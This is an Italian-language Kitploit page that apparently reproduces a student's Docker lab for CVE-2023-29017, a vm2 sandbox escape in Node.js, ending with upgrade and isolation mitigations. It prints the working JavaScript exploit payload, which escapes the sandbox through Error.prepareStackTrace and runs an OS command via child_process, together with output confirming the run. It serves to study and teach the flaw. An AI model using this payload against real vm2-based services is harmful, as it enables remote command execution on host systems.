Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Node_CVE-2023-29017 — Riproduzione di Node.js vm2 CVE-2023-29017 con Docker Compose e PoC | Kitploit
Strumenti/GitHubGitHub/gunwoo105/node_cve-2023-29017
Sicurezza dei ContenitoriAnalisi delle VulnerabilitàExploitApprendimento e FormazioneBinary ExploitationLab e Pratica
GitHubgunwoo105/node_cve-2023-29017

Node_CVE-2023-29017

Riproduzione di Node.js vm2 CVE-2023-29017 con Docker Compose e PoC

Vedi Repository
1 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2023-29017 | Esecuzione di codice remoto tramite vm2 Sandbox Escape

[WHS 4기 31반] - 김건우(@gunwoo105)

Riepilogo della vulnerabilità

vm2 è una libreria sandbox Node.js per eseguire JavaScript non affidabile in un ambiente limitato. In condizioni normali, il codice all'interno della sandbox non dovrebbe poter accedere a funzionalità sensibili come process, require, child_process di Node.js e il filesystem host.

Tuttavia, in vm2 3.9.14 e precedenti, quando si verifica un errore asincrono non gestito, l'oggetto host passato a Error.prepareStackTrace non viene gestito in modo sicuro. Un attaccante può sfruttare la catena di costruttori di questo oggetto per ottenere il costruttore Function e l'oggetto process del contesto host, e infine eseguire comandi del sistema operativo tramite child_process.

Configurazione dell'ambiente

Componenti

Non utilizzando un'immagine preconfezionata vulnerabile, l'immagine viene costruita direttamente dall'immagine base ufficiale di Node.js e dal codice sorgente incluso nel repository. Il Dockerfile controlla le versioni di Node.js e vm2; se le versioni non sono quelle previste, la build fallisce.

root@kitploit:~
RUN test "$(node --version)" = "v18.15.0" \
    && test "$(node -p "require('vm2/package.json').version")" = "3.9.14"

Il motivo per cui worker.js viene eseguito in un processo separato è che il PoC genera un errore asincrono non gestito. Anche se il worker termina durante l'attacco, il server web continua a funzionare e il file marker consente di verificare in modo affidabile il successo.

Condizioni di vulnerabilità

Devono essere soddisfatte tutte le seguenti condizioni:

  1. L'applicazione utilizza vm2 3.9.14 o versione inferiore.
  2. L'attaccante può controllare l'input JavaScript da eseguire.
  3. Il JavaScript viene eseguito all'interno di vm2.
  4. L'esecuzione di JavaScript asincrono è consentita.
  5. Un errore asincrono non gestito raggiunge il percorso di elaborazione della stack trace vulnerabile.
  6. Il processo Node.js che esegue vm2 ha i permessi per eseguire comandi del sistema operativo o accedere ai file.

Non tutti i servizi con vm2 installato sono automaticamente esposti ad attacchi remoti. Deve esistere una funzionalità che esegue codice controllato dall'attaccante in vm2. L'endpoint /execute di questo laboratorio implementa questo caso d'uso in modo minimale.

Il flusso dell'attacco è il seguente:

root@kitploit:~
Invio di JavaScript malvagio
        │
        ▼
Generazione di un errore asincrono non gestito
        │
        ▼
Chiamata a Error.prepareStackTrace
        │
        ▼
Esposizione dell'oggetto host frames
        │
        ▼
Acquisizione del costruttore Function host
        │
        ▼
process → require → child_process
        │
        ▼
Esecuzione di comandi del sistema operativo all'interno del contenitore

Procedura di riproduzione

Build dell'immagine

root@kitploit:~
docker compose build --no-cache

Build dell'immagine riuscito

Avvio del servizio vulnerabile

root@kitploit:~
docker compose up -d vulnerable

Verifica dello stato del contenitore.

root@kitploit:~
docker compose ps

Verifica dello stato del servizio e della versione

root@kitploit:~
curl -sS \
  -w '\nHTTP_STATUS=%{http_code}\n' \
  <http://127.0.0.1:3000/health>

Verifica dello stato del servizio e della versione

Esecuzione del PoC

root@kitploit:~
docker compose run --rm poc
echo "exit_code=$?"

Il PoC verifica automaticamente i seguenti punti:

  1. Healthcheck del servizio vulnerabile
  2. Versioni di Node.js e vm2
  3. Esecuzione del normale JavaScript 21 * 2
  4. Verifica che il file marker non venga creato con codice normale
  5. Invio del payload CVE-2023-29017
  6. Verifica della creazione di /tmp/vm2-pwned
  7. Verifica che il contenuto del file contenga uid=
  8. Restituisce codice di uscita 0 in caso di successo, 1 in caso di fallimento

Per eseguire dalla build al PoC in un unico comando, utilizzare:

root@kitploit:~
docker compose up \
  --build \
  --abort-on-container-exit \
  --exit-code-from poc

Verifica del file di prova

root@kitploit:~
docker compose exec vulnerable sh -c '
  echo "[Marker file]"
  ls -l /tmp/vm2-pwned
  echo
  echo "[Command output]"
  cat /tmp/vm2-pwned
'

Arresto dell'ambiente

root@kitploit:~
docker compose down -v --rmi local --remove-orphans

5. Codice PoC

L'intero PoC è contenuto in poc/poc.js. Il payload principale è il seguente:

root@kitploit:~
Error.prepareStackTrace = (error, frames) => {
  const hostProcess =
    frames.constructor.constructor('return process')();

  hostProcess.mainModule
    .require('child_process')
    .execSync('id > /tmp/vm2-pwned');
};

(async () => {}).constructor('return process')();

Funzionamento del codice

Ridefinizione di Error.prepareStackTrace

root@kitploit:~
Error.prepareStackTrace = (error, frames) => {

L'attaccante ridefinisce la funzione che viene eseguita quando viene generata una stack trace di errore.

Acquisizione del costruttore Function host

root@kitploit:~
frames.constructor.constructor

Segue la catena di costruttori dell'oggetto host frames esposto da vm2 vulnerabile per accedere al costruttore Function del contesto host.

Acquisizione dell'oggetto host process

root@kitploit:~
frames.constructor.constructor('return process')();

Crea ed esegue una funzione che restituisce process dal contesto host.

Esecuzione del comando del sistema operativo

root@kitploit:~
hostProcess.mainModule
  .require('child_process')
  .execSync('id > /tmp/vm2-pwned');

Carica child_process, non fornito all'interno della sandbox, ed esegue il comando Linux id.

Induzione di un errore asincrono non gestito

root@kitploit:~
(async () => {}).constructor('return process')();

Fa sì che una funzione asincrona faccia riferimento a process, non disponibile nella sandbox, creando una Promise rifiutata che raggiunge il percorso di elaborazione della stack trace vulnerabile.

Risultati dell'esecuzione

Controllo normale

Il JavaScript normale viene eseguito all'interno di vm2 e restituisce 42, ma non genera prove di esecuzione di comandi del sistema operativo.

root@kitploit:~
[2/4] Running benign JavaScript inside vm2
      Normal JavaScript returned 42 without host command execution

Sfruttamento della vulnerabilità

Inviando il payload malevolo, si esce dalla sandbox vm2 e il comando id viene eseguito all'interno del contenitore con i permessi del processo Node.js vulnerabile.

root@kitploit:~
[3/4] Sending CVE-2023-29017 payload
      Host command output: uid=1000(node) gid=1000(node) groups=1000(node)

Il PoC verifica nuovamente le prove salvate e restituisce lo stato di successo.

root@kitploit:~
[4/4] Confirming persisted evidence
[SUCCESS] CVE-2023-29017 reproduced: vm2 sandbox escape led to host command execution.
exit_code=0

Esecuzione del PoC riuscita

Verificando direttamente il file di prova, si ottiene il seguente output.

Verifica della prova marker

Il file marker viene eliminato prima di ogni esecuzione e non viene creato durante la fase di esecuzione del codice normale. Ciò previene falsi positivi dovuti a risultati di esecuzioni precedenti.

Misure di mitigazione

Aggiornamento di vm2

Aggiornare a una versione non affetta.

root@kitploit:~
{
  "dependencies": {
    "vm2": "3.9.15"
  }
}

Successivamente, aggiornare il lockfile e installare con dipendenze bloccate.

root@kitploit:~
npm install --package-lock-only
npm ci

Poiché l'advisory ufficiale afferma che non esistono soluzioni alternative, non è raccomandato continuare a usare la versione vulnerabile.

Isolamento dell'ambiente di esecuzione per codice non affidabile

Non eseguire codice non affidabile nello stesso processo Node.js dell'applicazione. Isolarlo in un processo separato, contenitore o macchina virtuale e distruggere l'ambiente al termine dell'esecuzione.

Applicazione del principio del minimo privilegio

  • Eseguire con un utente dedicato non root
  • Applicare no-new-privileges
  • Rimuovere le capability Linux non necessarie
  • Vietare il mount del socket Docker e di directory host
  • Valutare la configurazione del filesystem in sola lettura
  • Non salvare credenziali a lungo termine all'interno del contenitore

Limitazioni di rete e risorse

  • Limitare l'accesso alla rete esterna per il contenitore di esecuzione
  • Minimizzare l'accesso alla rete interna di gestione e ai database
  • Limitare CPU, memoria, numero di processi e tempo di esecuzione
  • Limitare la dimensione dell'input e la frequenza delle richieste
  • Monitorare terminazioni anomale e input malevoli ripetuti

Autenticazione e controllo degli input

Applicare autenticazione e autorizzazione forti alla funzionalità di esecuzione del codice e non gestire API di esecuzione di codice arbitrario aperte a utenti indeterminati. Tuttavia, l'autenticazione è una misura ausiliaria per ridurre la superficie di attacco, non un sostituto della correzione della vulnerabilità stessa.

Scarica lo strumento
ComponenteVersione e impostazioni
Node.js18.15.0
vm23.9.14
Versione della patch3.9.15
Ambiente di esecuzioneDocker Compose
Utente del contenitorenode
Porta del servizio127.0.0.1:3000
Installazione pacchettinpm ci + package-lock.json
FileRuolo
docker-compose.ymlDefinisce la configurazione del servizio vulnerabile e del contenitore PoC e l'ordine di esecuzione
DockerfileCostruisce le immagini del servizio vulnerabile e del PoC con multi-stage build
vulnerable/src/server.jsFornisce gli endpoint /health, /execute, /evidence
vulnerable/src/worker.jsEsegue l'input utente in vm2 in un processo separato
poc/poc.jsAutomatizza la verifica della versione, il controllo normale, l'attacco e la verifica delle prove
vulnerable/package-lock.jsonBlocca le versioni dei pacchetti incluse le dipendenze transitive